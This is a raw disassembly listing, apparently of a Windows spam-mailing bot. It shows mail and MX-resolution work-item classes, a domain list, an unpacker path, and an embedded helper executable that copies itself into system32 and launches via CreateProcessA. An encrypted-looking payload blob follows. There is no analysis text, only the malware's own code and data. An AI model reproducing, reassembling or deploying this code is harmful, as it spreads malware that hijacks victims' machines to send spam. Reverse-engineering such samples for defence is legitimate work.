dword_4236BC dd 82798260h, 21h, 0dword_4236C8 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd offset dword_41D868+4 dword_4237AC dd 0FFFFFFFEh ; sub_40F7E2+4Cr ... dword_4237B0 dd 43h, 0 ; sub_4133C2:loc_41340Do ... dword_4237B8 dd 2, 15h dup(0) ; sub_4134D4+28o ... dd offset dword_4237B0 align 10h dd offset dword_4237B0 align 10h dd offset dword_4237B0 align 10h dd offset dword_4237B0 align 10h dd offset dword_4237B0 align 10h dd 2 dup(1), 3 dup(0) dd offset off_423ED8 align 10h off_423880 dd offset asc_41D668 ; DATA XREF: sub_40FF87+Dr ; sub_410004+Dr ; " ((((( H" dd offset dword_41DA70+80h dd offset dword_41DA70+200h dd offset off_423E18 off_423890 dd offset dword_4237B8 ; DATA XREF: sub_40F7E2+24r ; sub_411EC6+88r ... dd 1 off_423898 dd offset dword_4237B8 ; DATA XREF: sub_415093+17o dd offset dword_423288 off_4238A0 dd offset dword_425000 ; DATA XREF: sub_413A82o ; sub_413A88+52o ... dd 0 dd offset dword_425000 dd 101h dword_4238B0 dd 2 dup(0) dd 1000h, 4 dup(0) dd 2, 1, 6 dup(0) dd 2 dup(2), 7 dup(0) dword_423910 dd 7Ch dup(0) dword_423B00 dd 8 dup(0) ; sub_413BAB+Do dword_423B20 dd 3 ; sub_41411B+1Br ... align 8 dword_423B28 dd 2 off_423B2C dd offset aR6002FloatingP ; DATA XREF: sub_41422C:loc_41435Cr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 41CD44h, 9, 41CD18h, 0Ah, 41CC80h, 10h, 41CC54h dd 11h, 41CC24h, 12h, 41CC00h, 13h, 41CBD4h, 18h, 41CB9Ch dd 19h, 41CB74h, 1Ah, 41CB3Ch, 1Bh, 41CB04h, 1Ch, 41CADCh dd 1Eh, 41CABCh, 1Fh, 41CA58h, 20h, 41CA20h, 21h, 41C928h dd 22h, 41C888h, 78h, 41C874h, 79h, 41C864h, 7Ah, 41C854h dd 0FCh, 41EBE8h, 0FFh, 41C844h dword_423BE0 dd 0C0000005h, 0Bh, 0 ; sub_412015+6Eo dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_423C58 dd 3 ; sub_41530F+C0r ... dword_423C5C dd 7 ; sub_41530F+C6r ... dd 78h dword_423C64 dd 0Ah ; sub_4180B7+4r dword_423C68 dd 0FFFFFFFFh, 0A80h, 8 dup(0) ; sub_4113BB:loc_411497o ... dd 10h, 41DFB4h, 415D0Dh off_423C9C dd offset off_41C308 ; DATA XREF: sub_4165F6+128o ; .vty:0041F300o ... dd 0 a_?avbad_except db '.?AVbad_exception@std@@',0 align 10h off_423CC0 dd offset dword_424BB8 ; DATA XREF: sub_416C30:loc_416C6Dw ; sub_416C79+8o ... dword_423CC4 dd 1 dd offset dword_424BD0 dd 1, 2 dup(0) dd offset dword_424BE8 dd 1, 424C00h, 1, 2 dup(0) dd offset dword_424C18 dd 1, 424C30h, 1, 424C48h, 1, 2 dup(0) dd offset dword_424C60 dd 1, 2 dup(0) dd offset dword_424C78 dd 1, 424C90h, 1, 424CA8h, 1, 2 dup(0) dd offset dword_424CC0 dd 1, 424CD8h, 1, 424CF0h, 1, 22h dup(0) dword_423DE0 dd 2D2A0590h ; sub_416C79+4Ao ... db 90h db 5, 2Ah, 2Dh db 90h db 5, 2Ah, 2Dh db 90h db 5, 2Ah, 2Dh db 90h db 5, 2Ah, 2Dh db 90h db 5, 2Ah, 2Dh off_423DF8 dd offset sub_41A265 ; DATA XREF: sub_4113BB+61Ar dd offset sub_41A265 off_423E00 dd offset sub_41A265 ; DATA XREF: sub_4113BB+65Fr off_423E04 dd offset sub_41A265 ; DATA XREF: sub_4113BB+640r align 10h dd offset asc_41D668 ; " ((((( H" dd offset dword_41D868+2 off_423E18 dd offset aSun ; DATA XREF: sub_413282+D9o ; .vty:0042388Co ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm ; "AM" dd offset aPm ; "PM" dd offset aMmDdYy ; "MM/dd/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset dword_41DA70+300h dd 409h, 2 dup(1), 423E18h dword_423ED4 dd 2Eh off_423ED8 dd offset dword_423ED4 ; DATA XREF: sub_413282+14o ; sub_4187D6+Br ... off_423EDC dd offset dword_424D70 ; DATA XREF: sub_4187D6+1Dr off_423EE0 dd offset dword_424D70 ; DATA XREF: sub_4187D6+2Fr off_423EE4 dd offset dword_424D70 ; DATA XREF: sub_418816+Cr off_423EE8 dd offset dword_424D70 ; DATA XREF: sub_418816+1Er off_423EEC dd offset dword_424D70 ; DATA XREF: sub_418816+30r off_423EF0 dd offset dword_424D70 ; DATA XREF: sub_418816+42r off_423EF4 dd offset dword_424D70 ; DATA XREF: sub_418816+54r off_423EF8 dd offset dword_424D70 ; DATA XREF: sub_418816+66r off_423EFC dd offset dword_424D70 ; DATA XREF: sub_418816+78r dd 2 dup(7F7F7F7Fh), 423ED8h, 1, 2Eh, 1, 2 dup(0) dword_423F20 dd 19930520h, 3 dup(0) ; sub_419915+2o dword_423F30 dd 2 ; sub_419B1B+4Fr ... align 10h dd 7080h, 1, 0FFFFF1F0h, 0 dword_423F50 dd 545350h, 0Fh dup(0)dword_423F90 dd 544450h, 0Fh dup(0) dd offset dword_423F50 dd offset dword_423F90 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) byte_424060 db 0 ; DATA XREF: sub_41A5AF:loc_41A910r ; sub_41A5AF+36Fr align 4 dd 2Fh dup(0) dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2 dup(0) dword_424160 dd 0FFFFFFFEh dword_424164 dd 0FFFFFFFEh ; sub_419B1B:loc_419B44r ... align 10h off_424170 dd offset off_41C308 ; DATA XREF: .vty:0041F370o align 8 a_?av?Sha@k0ka@ db '.?AV?$SHA@K$0KA@$0CAA@$0FA@$0KA@@@',0 align 4 off_42419C dd offset off_41C308 ; DATA XREF: .vty:0041F34Co ; .vty:0041F3A4o dd 0 dd 56413F2Eh, 31414853h, 40403036h, 0 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 dd offset dword_41DFB4 off_4241E0 dd offset off_41C308 ; DATA XREF: .vty:0041F2A4o ; .vty:0041F3F0o ... align 8 a_?avexception@ db '.?AVexception@std@@',0 off_4241FC dd offset off_41C308 ; DATA XREF: .vty:0041F3CCo ; .vty:0041F424o ... dd 0 a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0 off_424218 dd offset off_41C308 ; DATA XREF: .vty:0041F49Co ; .vty:0041F4C0o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_424238 dd offset off_41C308 ; DATA XREF: .vty:0041F44Co ; .vty:0041F474o ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_424258 dd offset off_41C308 ; DATA XREF: .vty:0041F4E8o ; .vty:0041F50Co align 10h a_?avmailproxyl db '.?AVMailProxyLockWorkItem@@',0 off_42427C dd offset off_41C308 ; DATA XREF: .vty:0041F534o ; .vty:0041F558o dd 0 a_?avmaildomain db '.?AVMailDomainDirectWorkItem@@',0 align 4 off_4242A4 dd offset off_41C308 ; DATA XREF: .vty:0041F580o ; .vty:0041F5A4o dd 0 a_?avresolvemxw db '.?AVResolveMxWorkItem@@',0 off_4242C4 dd offset off_41C308 ; DATA XREF: .vty:0041F5CCo dd 0 dd 56413F2Eh, 6C69614Dh, 40746F42h, 40h off_4242DC dd offset off_41C308 ; DATA XREF: .vty:0041F634o ; .vty:0041F654o dd 0 dd 56413F2Eh, 6B726F57h, 6D657449h, 4040h off_4242F4 dd offset off_41C308 ; DATA XREF: .vty:0041F5F0o ; .vty:0041F688o dd 0 a_?avicommclien db '.?AVICommClient@@',0 align 10h off_424310 dd offset aCom ; DATA XREF: sub_402E64+A8r ; sub_402E64+AEo ; "com" dd offset aNet ; "net" dd offset aBiz ; "biz" dd offset aInfo ; "info" dd offset aOrg ; "org" dd offset aEdu ; "edu" dd offset aPl ; "pl" dd offset aCa ; "ca" dd 0 off_424334 dd offset off_41C308 ; DATA XREF: .vty:0041FF0Co dd 0 a_?aucommerror@ db '.?AUCommError@@',0 off_42434C dd offset off_41C308 ; DATA XREF: .vty:0041F6B0o ; .vty:0041F6D8o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd 5 dup(0) dword_424380 dd 2D6BA7F5h ; sub_40DCD8+3r dword_424384 dd 0 ; .vty:loc_41B6A9w ... align 10h dword_424390 dd 0 ; sub_40DE68+32w dword_424394 dd 0 ; sub_4154DB:loc_4154EDr ... dd 0 dword_42439C dd 0 ; sub_419AD5+15r ... dword_4243A0 dd 2D2AB9D7h ; sub_41219F+51r ... dword_4243A4 dd 51EB30B5h ; sub_41219F+3Dw ... dword_4243A8 dd 51EB3C30h ; sub_411F7A+44r ... dword_4243AC dd 51EA9122h ; sub_41219F+5Ew ... dword_4243B0 dd 0 ; sub_412323+29r ... dword_4243B4 dd 0 dword_4243B8 dd 2 ; sub_412542:loc_41256Ar ... dword_4243BC dd 0A28h dword_4243C0 dd 501h dword_4243C4 dd 5 ; sub_412579+30r dword_4243C8 dd 1 dword_4243CC dd 1 dword_4243D0 dd 383480h align 8 dword_4243D8 dd 3834A0h ; sub_4154DB:loc_4155A0r ... dd 3 dup(0) off_4243E8 dd offset aCM_unpackerPac ; DATA XREF: sub_41574E+37w ; "C:\\m_unpacker\\packed.exe" align 10h byte_4243F0 db 0 ; DATA XREF: sub_412647+2Cw ; sub_413B39+5r align 4 dword_4243F4 dd 0 dword_4243F8 dd 0 ; sub_412647+A0w dword_4243FC dd 0 dword_424400 dd 0 dword_424404 dd 2D6BA7F5h dword_424408 dd 0 ; sub_412EA5+1Dw ... word_42440C dw 0 ; DATA XREF: sub_4130CA+E7w align 10h dd 2 dup(0) dword_424418 dd 4E4h dword_42441C dd 0 dword_424420 dd 0 dword_424424 dd 0 dd 8 dup(0) dword_424448 dd 1 ; sub_4135A3+3Aw ... dword_42444C dd 0 ; sub_417A72w dword_424450 dd 6 dup(0) db 0 byte_424469 db 3 dup(0) ; DATA XREF: sub_41422C+8Ao dd 40h dup(0) db 0 byte_42456D db 0 ; DATA XREF: sub_41422C+92w align 10h dd 7Dh dup(0) dword_424764 dd 2 dup(0) dword_42476C dd 2D6BA7F5h aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41574E+1Do ; .vty:off_4243E8o align 4 dd 3Ah dup(0) byte_424874 db 0 ; DATA XREF: sub_41574E+24w align 4 dword_424878 dd 1 ; sub_415807+24w ... dword_42487C dd 380000h ; sub_411069+72r ... dword_424880 dd 0 ; sub_415D79+11w ... byte_424884 db 0 ; DATA XREF: sub_415D0D:loc_415D46r ; sub_415D79+17w ... align 4 dword_424888 dd 2D2ACDBDh ; sub_416ACB+Bw align 10h dword_424890 dd 0 ; .vty:off_41CE1Co dword_424894 dd 0 dd 0 dword_42489C dd 0 dd 10h dup(0) dword_4248E0 dd 0 ; sub_416B2C+DFr align 8 dword_4248E8 dd 0 ; .vty:0041CE20o dd 22h dup(0) word_424974 dw 0 ; DATA XREF: sub_416B2C+4Fw align 4 word_424978 dw 0 ; DATA XREF: sub_416B2C+48w align 4 word_42497C dw 0 ; DATA XREF: sub_416B2C+41w align 10h word_424980 dw 0 ; DATA XREF: sub_416B2C+3Aw align 4 dword_424984 dd 0 dword_424988 dd 0 dword_42498C dd 0 dword_424990 dd 0 dword_424994 dd 0 dword_424998 dd 0 dword_42499C dd 0 dword_4249A0 dd 0 ; sub_416B2C+85r word_4249A4 dw 0 ; DATA XREF: sub_416B2C+33w align 4 dword_4249A8 dd 0 dword_4249AC dd 0 word_4249B0 dw 0 ; DATA XREF: sub_416B2C+2Cw align 4 dd 81h dup(0) dword_424BB8 dd 146218h, 0FFFFFFFFh, 4 dup(0) ; .vty:off_423CC0o dword_424BD0 dd 146240h, 0FFFFFFFFh, 4 dup(0)dword_424BE8 dd 146268h, 0FFFFFFFFh, 4 dup(0) db 90h db 62h, 14h, 0 dd 0FFFFFFFFh, 4 dup(0) dword_424C18 dd 1462B8h, 0FFFFFFFFh, 4 dup(0) dd 1462E0h, 0FFFFFFFFh, 4 dup(0) dd 146308h, 0FFFFFFFFh, 4 dup(0) dword_424C60 dd 146330h, 0FFFFFFFFh, 4 dup(0)dword_424C78 dd 146358h, 0FFFFFFFFh, 4 dup(0) dd 146380h, 0FFFFFFFFh, 4 dup(0) dd 1463A8h, 0FFFFFFFFh, 4 dup(0) dword_424CC0 dd 1463D0h, 0FFFFFFFFh, 4 dup(0) dd 1463F8h, 0FFFFFFFFh, 4 dup(0) dd 146420h, 0FFFFFFFFh, 4 dup(0) dword_424D08 dd 0 ; sub_416E4A+21Cr ... dword_424D0C dd 0 ; sub_417D65+CAr ... dword_424D10 dd 0 dword_424D14 dd 2D6BA7F5h ; sub_4180F8:loc_418141o ... dword_424D18 dd 2D6BA7F5h ; sub_4180F8:loc_418197o ... dword_424D1C dd 2D6BA7F5h dword_424D20 dd 2D6BA7F5h ; sub_4180F8:loc_4181A3o ... align 8 dword_424D28 dd 2D6BA7F5h dword_424D2C dd 51EB1FDCh ; sub_4182CC+11r ... dd 0Fh dup(0) dword_424D6C dd 1 ; sub_41844E+37w ... dword_424D70 dd 0 ; .vty:off_423EE0o ... dword_424D74 dd 0 dword_424D78 dd 0 ; resolved to->USER32.MessageBoxA ; sub_419937+60w ... dword_424D7C dd 0 ; resolved to->USER32.MessageBoxA ; sub_419937:loc_419A85r dword_424D80 dd 0 ; resolved to->USER32.MessageBoxA ; sub_419937+167r dword_424D84 dd 0 ; resolved to->USER32.GetProcessWindowStation ; sub_419937:loc_419A0Cr dword_424D88 dd 0 ; resolved to->USER32.GetUserObjectInformationA ; sub_419937+E1r ... dd 31h dup(0) dword_424E50 dd 0 dword_424E54 dd 0 ; sub_4024A7+19w ... dword_424E58 dd 6 dup(0) dword_424E70 dd 0 dword_424E74 dd 0 ; .vty:0041B694r ... dword_424E78 dd 0 dword_424E7C dd 0 dword_424E80 dd 0 ; sub_40499E+C1r ... dword_424E84 dd 0 ; sub_401156+13o ... dword_424E88 dd 0 ; sub_4010E1+3Fo dd 3 dup(0) dword_424E98 dd 0 ; sub_401156:loc_401195r ... dword_424E9C dd 0 ; sub_401156+25w dword_424EA0 dd 0 ; sub_401156+1Aw dword_424EA4 dd 0 ; sub_403C76+82r ... dword_424EA8 dd 0 ; sub_403C76+1Bw dword_424EAC dd 0 ; sub_416E1Fr ... dword_424EB0 dd 0 ; sub_416E1F+6r ... dword_424EB4 dd 0 ; sub_416DD7+36w ... dword_424EB8 dd 0 ; sub_416E4A+2FCw ... dword_424EBC dd 0 ; sub_41715Er ... dword_424EC0 dd 0 ; sub_416E4A+249r ... dword_424EC4 dd 1 ; sub_41112C+13r ... dword_424EC8 dd 20h ; sub_414CF9+35r ... dd 5 dup(0) dword_424EE0 dd 3820B0h ; sub_413A88+87r ... dd 3Fh dup(0) dword_424FE0 dd 0 ; sub_413A88+44w ... dd 7 dup(0) dword_425000 dd 400h dup(0) ; .vty:004238A8o dword_426000 dd 0 ; sub_413A88:loc_413AA2w ... dword_426004 dd 0 dword_426008 dd 0 ; sub_410050+28r ... dword_42600C dd 0 dword_426010 dd 1 dword_426014 dd 0 ; sub_40DAA8+9Bw ... dword_426018 dd 0 ; sub_40DAA8+87w ... dword_42601C dd 1 ; sub_413264+11w ... dword_426020 dd 0 dword_426024 dd 0 ; sub_4125B5+74o ... dword_426028 dd 142340h ; sub_41547E:loc_41548Fr ... dword_42602C dd 0 dword_426030 dd 0 ; .vty:004104A4o ... dd 3F5h dup(0) dd 4, 10001h, 800000A0h, 80000020h, 18h, 80000038h, 2 dup(0) dd 4, 10000h, 65h, 80000050h, 2 dup(0) dd 4, 10000h, 1, 80000068h, 2 dup(0) dd 4, 10000h, 415h, 80h, 2 dup(0) dd 4, 10000h, 409h, 90h, 270B4h, 0A00h, 4E4h, 0 dd 27AB4h, 56h, 4E4h, 0 aRt_helper_0: dw 9 unicode 0, <RT_HELPER> aMzr db 'MZ',0 dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0C0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0CEA62459h, 3 dup(9DC8451Dh), 9D954ADEh, 9DC84518h dd 9DC9451Dh, 9DC84516h, 9DBA833Ah, 9DC8451Ch, 9DB0833Ah dd 9DC8451Ch, 68636952h, 9DC8451Dh, 2 dup(0) dd 4550h, 2014Ch, 480279E2h, 2 dup(0) dd 10300E0h, 8010Bh, 200h, 400h, 0 dd 10C0h, 1000h, 2000h, 400000h, 1000h, 200h, 4, 0 dd 4, 0 dd 3000h, 400h, 0 dd 4000002h, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 2078h, 3Ch, 8 dup(0) dd 2040h, 1Ch, 0Ah dup(0) dd 2000h, 34h, 6 dup(0) dd 7865742Eh, 74h, 11Dh, 1000h, 200h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 208h, 2000h, 400h, 600h dd 3 dup(0) dd 40000040h, 7Eh dup(0) ; =============== S U B R O U T I N E ======================================= sub_4274B4 proc near ; CODE XREF: .vty:004275A2p ; .vty:004275C2p var_454 = dword ptr -454h var_428 = dword ptr -428h var_424 = word ptr -424h var_410 = byte ptr -410h var_400 = byte ptr -400h sub esp, 454h push edi push eax lea ecx, [esp+45Ch+var_400] push ecx call dword ptr loc_402024 push 40205Ch lea edx, [esp+45Ch+var_400] push edx call dword ptr loc_402010 mov edi, dword ptr loc_40201F+1 lea eax, [esp+458h+var_400] push eax call edi cmp byte ptr [esi], 2Dh jnz short loc_4274F5 cmp byte ptr [esi+1], 58h jnz short loc_4274F5 cmp byte ptr [esi+2], 0 jz short loc_427566 loc_4274F5: ; CODE XREF: sub_4274B4+33j ; sub_4274B4+39j push 0 lea ecx, [esp+45Ch+var_400] push ecx push esi call dword ptr loc_402018 push 6 lea edx, [esp+45Ch+var_400] push edx call dword ptr loc_40201C lea eax, [esp+458h+var_454] push eax mov [esp+45Ch+var_454], 44h call dword ptr loc_402013+1 lea ecx, [esp+458h+var_410] push ecx lea edx, [esp+45Ch+var_454] push edx push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [esp+478h+var_400] push eax push 0 mov [esp+480h+var_428], 1 mov [esp+480h+var_424], 0 call dword ptr loc_40200A+2 test eax, eax jz short loc_427566 push esi call edi mov al, 1 pop edi add esp, 454h retn ; --------------------------------------------------------------------------- loc_427566: ; CODE XREF: sub_4274B4+3Fj ; sub_4274B4+A3j xor al, al pop edi add esp, 454h retn sub_4274B4 endp ; --------------------------------------------------------------------------- db 4 dup(0CCh) ; --------------------------------------------------------------------------- sub esp, 400h push esi push 4E20h call dword ptr loc_402008 call dword ptr loc_402003+1 mov esi, eax push 400h lea eax, [esp+8] push eax call dword ptr loc_402000 lea eax, [esp+4] call sub_4274B4 test al, al jnz short loc_4275C7 lea ecx, [esp+4] push ecx push 0 push 0 push 1Ch push 0 call dword ptr loc_40202C lea eax, [esp+4] call sub_4274B4 loc_4275C7: ; CODE XREF: .vty:004275A9j xor eax, eax pop esi add esp, 400h retn ; --------------------------------------------------------------------------- align 4 dd 38h dup(0) dd 20E8h, 2100h, 2112h, 211Ah, 212Ch, 2138h, 214Ah, 2156h dd 216Ch, 217Ah, 0 dd 2194h, 5 dup(0) dd 480279E2h, 0 dd 2, 54h, 21B4h, 7B4h, 7379735Ch, 336D6574h, 6E6D5C32h dd 77317765h, 34636E69h, 6578652Eh, 0 dd 20B4h, 2 dup(0) dd 2186h, 2000h, 20E0h, 2 dup(0) dd 21A8h, 202Ch, 5 dup(0) dd 20E8h, 2100h, 2112h, 211Ah, 212Ch, 2138h, 214Ah, 2156h dd 216Ch, 217Ah, 0 dd 2194h, 0 dd 654701F3h, 6E695774h, 73776F64h, 65726944h, 726F7463h dd 4179h, 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 3560041h dd 65656C53h, 660070h, 61657243h, 72506574h, 7365636Fh dd 4173h, 736C03BDh, 61637274h, 4174h, 654701B7h, 61745374h dd 70757472h, 6F666E49h, 430041h, 79706F43h, 656C6946h dd 3190041h, 46746553h, 41656C69h, 69727474h, 65747562h dd 4173h, 65440083h, 6574656Ch, 656C6946h, 3C60041h, 7274736Ch dd 41797063h, 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 485300AFh dd 46746547h, 65646C6Fh, 74615072h, 4168h, 4C454853h, 2E32334Ch dd 6C6C64h, 53445352h, 0AD6D417Dh, 4A23D50Fh, 0EDF0B4h dd 9EB4EB35h, 1, 4D5C3A68h, 45545341h, 4D5C5352h, 656C6961h dd 4E5C3372h, 535C5745h, 616D534Dh, 72656C69h, 69614D5Ch dd 3372656Ch, 6C65725Ch, 65736165h, 6C65485Ch, 2E726570h dd 626470h, 7Eh dup(0) aAssemblyXmlnsU db '<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersio' db 'n="1.0">',0Dh,0Ah db '</assembly>PA',0 align 10h dd 13Ch dup(0) dd 7C80B6A1h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h dd 4 dup(0) dd 280A4h, 28000h, 0 dd 42C2C8A1h, 0 dd 280F9h, 28030h, 0 dd 76F36C5Bh, 0 dd 28113h, 28044h, 0 dd 71AB615Ah, 0 dd 28129h, 28058h, 0 dd 7E41BD76h, 0 dd 28134h, 2806Ch, 0 dd 77DD6BF0h, 0 dd 2814Ch, 28080h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 74654700h, 75646F4Dh dd 6148656Ch, 656C646Eh, 65470041h, 6F725074h, 64644163h dd 73736572h, 72695600h, 6C617574h, 6F6C6C41h, 69560063h dd 61757472h, 6572466Ch, 69560065h, 61757472h, 6F72506Ch dd 74636574h, 4E495700h, 54454E49h, 6C6C642Eh, 746E4900h dd 656E7265h, 65704F74h, 4400416Eh, 5041534Eh, 6C642E49h dd 6E44006Ch, 65755173h, 415F7972h, 32535700h, 2E32335Fh dd 6C6C64h, 52455355h, 642E3233h, 47006C6Ch, 75437465h dd 726F7372h, 736F50h, 41564441h, 32334950h, 6C6C642Eh dd 67655200h, 736F6C43h, 79654B65h, 0 dd 8E962600h, 0BC180000h, 9E4B34BAh, 83C404B9h, 0E21003C9h dd 11726ADFh, 482DE040h, 6D5CB5B3h, 6792A8DEh, 0D23E65C0h dd 0F923315Ah, 0D879C3F2h, 0D9887FC1h, 2C098828h, 0DB3992C0h dd 90253F6Ah, 0A9787B5Eh, 7EF66BE9h, 0F3977F67h, 0E008D2E1h dd 8D2E257Dh, 0D29AA7DBh, 68FD3CAAh, 838585F9h, 4BC8CD9Ch dd 0B725E0h, 0FF39CCA0h, 0B205D4Ah, 0CE406234h, 0A68332DCh dd 57594121h, 3AEE11Bh, 50B9A09Dh, 0C8869026h, 0F8F2E7EAh dd 355F10EEh, 0A731E2A9h, 80B34CB0h, 0B1B1F7E7h, 0FBEA53Dh dd 22E768B5h, 0FB1A2051h, 93F3DC1Bh, 0C5E375Ah, 0DCF23EFBh dd 0FE8C07B7h, 0C6F30F54h, 0FA56E082h, 76B6F10Ah, 0A57557ACh dd 61828DDDh, 0A31A9C83h, 88B6E2F3h, 8E410636h, 848B1459h dd 233C71E7h, 58FD62D8h, 3ECDEDB2h, 7521B115h, 2298B0D8h dd 6728511Ah, 6A2B6F3Ch, 71712CC7h, 698DEE3Fh, 0F9A96236h dd 42AA7AECh, 20D4E98Dh, 0AA5D94h, 0B5BFF5DBh, 5FDCCA91h dd 763A869Eh, 0DBCA3080h, 0A58D925Fh, 3B298B8Eh, 877BD378h dd 8D8EAB79h, 0D435B248h, 9E8C9AECh, 1B0F58CAh, 8807F070h dd 19FC9FE7h, 1000DD3Fh, 0C78E0000h, 63000000h, 220C4E80h dd 0BEFD4118h, 23DD5ACDh, 8C2DF6ECh, 0E94C8C72h, 6F2B15AFh dd 96CC39EDh, 4008AC72h, 0F993A875h, 0B3D06035h, 26E5687h dd 389B2697h, 0C49F8F89h, 34C237D1h, 8207A06Fh, 6C9E8F58h dd 0E2351AE4h, 0A0617726h, 0C2A6DE12h, 4BA35EFEh, 0AC2BCC0Eh dd 4B3B6487h, 7340CB32h, 7F2481BCh, 0EA47D94Fh, 0C363CE96h dd 0C798483Eh, 0DD4D1A0h, 0CFD41923h, 85D6A99h, 8D02C92Dh dd 6E849489h, 0F047A9F1h, 0DF22FF53h, 0C4406107h, 6A7EF01Bh dd 260D2DE3h, 4C79B949h, 4BADAEA4h, 5A04E603h, 0C2234F51h dd 0C6D17BF6h, 0BA04D211h, 0DAD6BF1Fh, 0CF734A84h, 7C8A0006h dd 6042B76h, 0B7C82F8Dh, 0CF3F2AB4h, 39DA3930h, 72D9C3B0h dd 0DC47D8AEh, 0E88174A3h, 87311DE2h, 0D5E1107Ah, 672049B2h dd 21AE0EFAh, 92B0B24Eh, 0D6969DE5h, 0DF69E025h, 0FE09B9D1h dd 0E13ED768h, 3D76E365h, 86E0735Ch, 0B91205B1h, 69D3F477h dd 46A4F6AEh, 0B8243049h, 0FFA9DD4Dh, 1C8A9FD5h, 0C8DFC03h dd 0C73F2CA3h, 986EC800h, 0E897E343h, 77E26478h, 0FCDA6751h dd 84DDA7C4h, 0B7F59042h, 85466E62h, 0ACC6C1E0h, 9AF084D5h dd 0B52E0B76h, 0A89B301Ch, 0DA30747Ah, 283712F1h, 0EB0C6F40h dd 0BE3F7724h, 0B975AF8Dh, 41E815B3h, 456A1859h, 65CD1C7Bh dd 8B18B37h, 278C2285h, 50CC2646h, 77B56DE2h, 0C51A3517h dd 0CBC10F9Ah, 5B579A04h, 2803DF66h, 2DE0C0Fh, 0D8F13A35h dd 310AD1C8h, 9A832486h, 0C728EE12h, 640C3384h, 1C71B312h dd 13AE6810h, 6B2D48FFh, 0D2D445E2h, 5682664h, 0F0484B4Fh dd 74739030h, 8B33CB33h, 0DB0FA4F4h, 0E155C437h, 0EADBA2F6h dd 7EB8AB48h, 0BB793680h, 8C5637DAh, 0D506123Ah, 0DC5FC2C2h dd 2975F73Eh, 0CACDAE06h, 6A57EB4h, 0D8A21C68h, 8C148A50h dd 0F9D1FDD5h, 0F64B3233h, 7107D0FAh, 0CD09E701h, 32D84A86h dd 9B8361DCh, 2512F27Bh, 0D2539BAh, 9562E9B4h, 29B1E198h dd 0BC0491EBh, 91F06732h, 9A486677h, 0E1A099E5h, 1B79A040h dd 18060285h, 801D1DC2h, 0F9189D02h, 0DEDC3884h, 0B52028FBh dd 0B626F88h, 6B63B2ADh, 0DA2DCB4Dh, 0AD6AB643h, 0ACB6799Dh dd 6730827Bh, 4B8AE9F4h, 2EF7E7A8h, 94409796h, 0B3321AD4h dd 0E227FE5Bh, 0BFF799F8h, 0D0F4AD80h, 487AB99Dh, 609DABB9h dd 0DE9CF6B9h, 0DA81B7B8h, 6DC5C92Eh, 0A719FB09h, 0A048B8E2h dd 9C191114h, 7775FB7Fh, 8C87843Eh, 8C3C14F7h, 9C38F247h 